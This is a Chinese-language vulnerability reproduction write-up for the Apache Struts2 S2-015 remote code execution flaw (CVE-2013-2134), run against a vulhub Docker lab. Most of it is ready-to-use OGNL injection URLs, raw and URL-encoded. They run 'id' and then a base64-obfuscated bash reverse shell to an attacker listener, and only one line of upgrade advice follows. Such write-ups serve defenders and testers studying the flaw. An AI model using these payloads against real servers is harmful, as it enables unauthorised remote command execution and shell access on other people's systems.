1 漏洞信息
| 漏洞名称 | 远程代码执行漏洞 |
|---|---|
| 漏洞编号 | CVE-2013-2134 |
| 危害等级 | 高危 |
| 漏洞类型 | 中间件漏洞 |
| 漏洞厂商 | Apache |
| 漏洞组件 | Struts2 |
| 受影响版本 | 2.0.0 <= Struts2 <= 2.3.15 |
| 漏洞概述 | Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值（可导致判断OGNL代码两次）的请求，利用该漏洞执行任意OGNL代码。 |
2 环境搭建
2.1 环境概述
-
Linux操作系统
2.2 搭建过程
拉取镜像
cd vulhub/struts2/s2-015docker-compose up -d
访问http://192.168.146.158:8015
3 漏洞复现
访问url，构造一个恶意的payload并发送。
http://192.168.146.158:8015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20has%20vul%27%29.getInputStream%28%29%29%2C%23q%7D.actionpayload原型：
http://192.168.146.158:8015/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo has vul').getInputStream()),#q}.action发现成功执行了echo has vul，说明存在该漏洞。
既然发现漏洞了，那我们可以构造一个payload，执行id命令。
http://192.168.146.158:8015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%2C%23q%7D.actionpayload原型：
http://192.168.146.158:8015/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action成功执行了id命令。
接下来开始反弹shell
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1base加密bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}url编码bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
访问漏洞url并且添加恶意payload进行抓包。
http://192.168.146.158:8015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%2C%23q%7D.actionpayload原型：
http://192.168.146.158:8015/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action
攻击机进行监听，然后发现成功反弹了shell。
4 修复建议
1、推荐的解决方案：升级至比受漏洞影响的更高版本。
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原文始发于微信公众号（NS Demon团队）：【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)
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